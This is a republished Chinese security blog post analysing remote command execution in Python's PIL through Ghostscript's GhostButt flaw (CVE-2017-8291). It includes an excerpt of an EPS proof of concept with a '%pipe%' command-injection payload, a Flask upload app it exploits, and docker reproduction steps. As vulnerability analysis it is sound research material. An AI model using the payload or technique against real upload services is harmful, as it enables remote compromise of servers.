來源:先知安全技術社區
作者:nearg1e@YSRC
PIL (Python Image Library) 應該是 Python 圖片處理庫中運用最廣泛的,它擁有強大的功能和簡潔的 API。很多 Python Web 應用在需要實現處理圖片的功能時,都會選擇使用 PIL。
PIL 在對 eps 圖片格式進行處理的時候,如果環境內裝有 GhostScript,則會調用 GhostScript 在 dSAFER 模式下處理圖片,即使是最新版本的PIL模塊,也會受到 GhostButt CVE-2017-8291
dSAFER 模式 Bypass 漏洞的影響,產生命令執行漏洞。
據說大牛們看源碼和 dockerfile 就可以了:https://github.com/neargle/PIL-RCE-By-GhostButt
一個簡單常見的 Demo
from PIL import Image
def get_img_size(filepath=""):
'''獲取圖片長寬'''
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0, 0)
我們在 Demo 里調用了 PIL 的 Image.open
, Image.load
方法加載圖片,最後返回圖片的長和寬。
In [2]: get_img_size('/tmp/images.png')
Out[2]: (183, 275)
分析
Image.open 圖片格式判斷的問題
PIL在 Image.open
函數裡面判斷圖片的格式,首先它調用 _open_core
函數, 在 _open_core
裡面則是調用各個格式模塊中的 _accept
函數,判斷所處理的圖片屬於哪一個格式。
def _open_core(fp, filename, prefix):
for i in ID:
try:
factory, accept = OPEN[i]
if not accept or accept(prefix):
fp.seek(0)
im = factory(fp, filename)
_decompression_bomb_check(im.size)
return im
except (SyntaxError, IndexError, TypeError, struct.error):
# Leave disabled by default, spams the logs with image
# opening failures that are entirely expected.
# logger.debug("", exc_info=True)
continue
return None
im = _open_core(fp, filename, prefix)
這裡 _accept(prefix)
函數中的參數 prefix 就是圖片文件頭部的內容
# PIL/GifImagePlugin.py
def _accept(prefix):
return prefix[:6] in [b"GIF87a", b"GIF89a"]
# PIL/EpsImagePlugin.py
def _accept(prefix):
return prefix[:4] == b"%!PS" or /
(len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)
可以發現 PIL 使用文件頭來判斷文件類型,也就是說即使我們用它處理一個以 .jpg
結尾的文件,只要文件內容以 %!PS
開頭,那麼 PIL 就會返回一個 PIL.EpsImagePlugin.EpsImageFile
對象,使用 eps 格式的邏輯去處理它。之後調用的 load 方法也是 EpsImageFile
裡面的 load 方法。
Image.load 到 subprocess.check_call
真實的環境中,程序員可能不會刻意去調用 load()
方法,但是其實 Image 文件中幾乎所有的功能函數都會調用到 load()
。在 PIL/EpsImagePlugin.py 文件內我們關注的調用鏈為: load()
-> Ghostscript()
-> subprocess.check_call()
, 最後使用 subprocess.check_call
執行了 gs 命令。
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# 省略判斷是GhostScript是否安裝的代碼
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
最後其執行的命令為 gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/tmp/tmpi8gqd19k -c 0 0 translate -f ../poc.png
, 可以看到 PIL 使用了 dSAFER 參數。這個參數限制了文件刪除,重命名和命令執行等行為,只允許 gs 打開標準輸出和標準錯誤輸出。而 GhostButt CVE-2017-8291
剛好就是 dSAFER 參數的 bypass。
GhostButt CVE-2017-8291
該漏洞的詳細的分析可以看 binjo 師傅的文章:GhostButt – CVE-2017-8291利用分析,原先我復現和構造POC的時候花費了很多時間,後來看了這篇文章,給了我很多幫助。
這裡我們用的 poc 和文章裡面一樣使用,也就是 msf 裡面的 poc:poc.png。雖然這裡修改 eps 後綴為 png ,但其實文件內容確實典型的 eps 文件。截取部分內容如下:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
... 省略
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
我們需要構造的命令執行payload就插入在這裡 : (%pipe%touch /tmp/aaaaa)
。
真實環境(偽)和復現
我使用之前寫的的 demo 函數和 Flask file-upload-sample 寫了一個簡單的 Web app:app.py,使這個本地命令執行變成一個遠程命令執行。主要代碼如下:
UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def get_img_size(filepath=""):
'''獲取圖片長寬'''
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0, 0)
def allowed_file(filename):
'''判斷文件後綴是否合法'''
return '.' in filename and /
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''文件上傳app'''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
image_file = request.files['file']
if image_file.filename == '':
flash('No selected file')
return redirect(request.url)
if image_file and allowed_file(image_file.filename):
filename = secure_filename(image_file.filename)
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
image_file.save(img_path)
height, width = get_img_size(img_path)
return '<html><body>the image/'s height : {}, width : {}; </body></html>'/
.format(height, width)
return '''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
<form method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
'''
考慮到在 Windows 上面安裝 PIL 和 GhostScript 可能會比較費勁,這裡給大家提供一個 dockerfile。
git clone https://github.com/neargle/PIL-RCE-By-GhostButt.git && cd PIL-RCE-By-GhostButt
docker-compose build
docker-compose up -d
訪問 http://localhost:8000/ 可以看到文件上傳頁面。程序只使用允許後綴為 png 的文件上傳,並在上傳成功之後使用PIL獲取圖片長寬。我們修改 poc,使用 dnslog 來驗證漏洞。
頁面截圖:
转载请注明:IAMCOOL » Exploiting Python PIL Module Command Execution Vulnerability